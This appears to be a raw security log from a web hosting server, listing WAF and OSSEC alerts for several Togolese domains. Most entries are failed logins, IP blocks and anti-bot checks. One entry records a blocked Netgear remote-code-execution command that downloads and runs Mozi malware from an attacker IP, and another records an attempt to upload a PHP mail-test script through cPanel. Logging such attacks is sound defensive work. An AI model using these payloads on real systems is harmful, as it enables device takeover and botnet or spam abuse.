IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0bcb6043ea8b1ae4dfe4f205b89fbcbda03fee73||Title:0xa38165ad||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e6cfb3b82e0f74bec095e88e74226bbef75d4fd1||Title:0x4b2199ae||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7207f8bc63de0cae9e1715f72d3dd2e18db4416d||Title:0xe501845d||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.31.66
country_id: 2017370
description:
2026-06-20 17:51:52 dovecot_plain authenticator failed for H=(nownin) [31.173.31.66]:34519: 535 Incorrect authentication data (set_id=no-reply@zephyr.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 17:52:11 +0000] info [cpaneld] 102.54.238.57 - test "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user test (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.142.134.253
country_id: 146669
description:
Jun 20 17:53:26 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.142.134.253 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.30.97
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/c1cd3b9d-a115-4015-b0a8-5a31801f9223.webp 960w, http:/togodailynews.tg/wp-content/uploads/2026/06/c1cd3b9d-a115-4015-b0a8-5a31801f9223-300x169.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/c1cd3b9d-a115-4015-b0a8-5a31801f9223-768x432.webp 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.142.134.253
country_id: 146669
description:
Jun 20 17:53:33 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.142.134.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.83
country_id: 690791
description:
Jun 20 17:53:53 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.83 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.2.7
country_id: 6252001
domain: social-infos.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/social-infos.tg/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:57:10 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:57:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:17:58:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10121067&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781978317 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:58:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212519&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781978320 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.157.94.51
country_id: 1210997
description:
103.157.94.51 - - [20/Jun/2026:17:59:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10249368&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcoris-bank-international-togo-octroie-20-milliards-fcfa-a-pia%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781978340 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/coris-bank-international-togo-octroie-20-milliards-fcfa-a-pia/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.157.94.51


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:18:00:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13027228&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781978409 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:00:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6932591&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781978409 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.16.191
country_id: 6251999
description:
[2026-06-20 18:01:32 +0000] info [cpaneld] 195.63.16.191 - ygeaivhj "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: User ygeaivhj has their account suspended. Login blocked.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.214.49.46
country_id: 2245662
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/08/E9i8BFnXEAAIHTX.jpeg 360w, http:/togodailynews.tg/wp-content/uploads/2021/08/E9i8BFnXEAAIHTX-300x225.jpeg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.97.20
country_id: 3865483
description:
Jun 20 18:04:26 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.97.20 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.215.65.144
country_id: 6252001
description:
[2026-06-20 18:04:02 +0000] info [cpaneld] 181.215.65.144 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.97.20
country_id: 3865483
description:
Jun 20 18:04:34 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.97.20 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.174.169.200
country_id: 6252001
description:
[2026-06-20 18:04:47 +0000] info [cpaneld] 107.174.169.200 NEW cietg:NSzznCg4aVmlM_2k address=107.174.169.200,app=cpaneld,creator=cietg,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.159.74.203
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-06.43.37-1024x461.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-06.43.37-300x135.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-06.43.37-768x346.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-06.43.37.webp 1040w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.231.133.133
country_id: 3469034
domain: sia-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sia-togo.tg/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:18:14:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197610&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781979294 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:18:14:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6526311&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781979293 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:14:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9933423&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781979294 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 18:17:04 +0000] info [cpaneld] 102.54.238.57 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.253.75.209
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:18-19.104.253.75.209||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.58.124
country_id: 2363686
description:
[2026-06-20 18:21:26 +0000] info [webmaild] 196.171.58.124 - info@matosshop.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:18-22.213.32.21.59||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.174.189.102
country_id: 6252001
description:
[2026-06-20 18:22:45 +0000] info [cpaneld] 54.174.189.102 - AWADI "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AWADI (has_cpuser_file failed)


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 202.70.139.33
country_id: 1168579
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:8.19||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://202.70.139.33:56044/Mozi.m -O /tmp/netgear;sh netgear||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:18:28:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645867&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781980126 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:28:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120349&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781980110 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 151.243.141.156
country_id: 6252001
domain: www.butodra.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:hGD1gtIis@CsoaWv.www.butodra.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:31:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065558&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781980261 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:18:31:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12896149&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781980264 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.139.137.11
country_id: 1512440
description:
2026-06-20 18:33:25 H=([185.139.137.11]) [185.139.137.11]:31715 F=<sergde@dgdn-togo.tg> rejected RCPT <sergde@dgdn-togo.tg>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.9.106
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/7b7b7f HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.49.95
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1018226511 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.0.13.159
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/02/632cd1b8061a279bd0fd23aed8a0d4f3_L.webp 600w, http:/togodailynews.tg/wp-content/uploads/2026/02/632cd1b8061a279bd0fd23aed8a0d4f3_L-300x150.webp 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 138.199.60.181
country_id: 1880251
description:
[2026-06-20 18:35:43 +0000] info [cpaneld] 138.199.60.181 - tqbcalqt "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [202.65.236.45] != Current IP Address [138.199.60.181]


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 138.199.60.181
country_id: 1880251
description:
[2026-06-20 18:35:50 +0000] info [cpaneld] 138.199.60.181 NEW tqbcalqt:iOoc0hX_dggIfc3F address=138.199.60.181,app=cpaneld,creator=tqbcalqt,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.85.202.78
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/02/Conseil-des-Ministres-du-25-fevrier-2026.webp 800w, http:/togodailynews.tg/wp-content/uploads/2026/02/Conseil-des-Ministres-du-25-fevrier-2026-300x274.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/02/Conseil-des-Ministres-du-25-fevrier-2026-768x702.webp 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.78.3.202
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/politique/page/c7c0b9 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 18:40:34 +0000] info [cpaneld] 102.54.238.57 - sbnjjkvc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sbnjjkvc (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:41:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:41:40 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.139.137.11
country_id: 1512440
description:
2026-06-20 18:42:23 H=([185.139.137.11]) [185.139.137.11]:31723 F=<sergde@dgdn-togo.tg> rejected RCPT <sergde@dgdn-togo.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:44:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10117781&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981062 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:18:44:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6659015&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981061 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:18:44:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6395594&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981060 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:18:45:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10121159&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981138 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:45:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10393749&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981139 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.123.9.238
country_id: 3469034
domain: www.case-afrique.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.case-afrique.tg/planmedia.php HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 18:50:48 +0000] info [cpaneld] 102.54.238.57 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.83.109.214
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/politique/page/76797e HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 125.212.159.21
country_id: 1562822
description:
125.212.159.21 - - [20/Jun/2026:18:51:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907800&pdata=https%253A%252F%252F24heureinfo.tg%252Fsociete%252Finondations-yark-appelle-les-populations-du-grand-lome-a-la-prudence&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981490 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/societe/inondations-yark-appelle-les-populations-du-grand-lome-a-la-prudence" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:125.212.159.21


plugin: ossec
rule: 31130
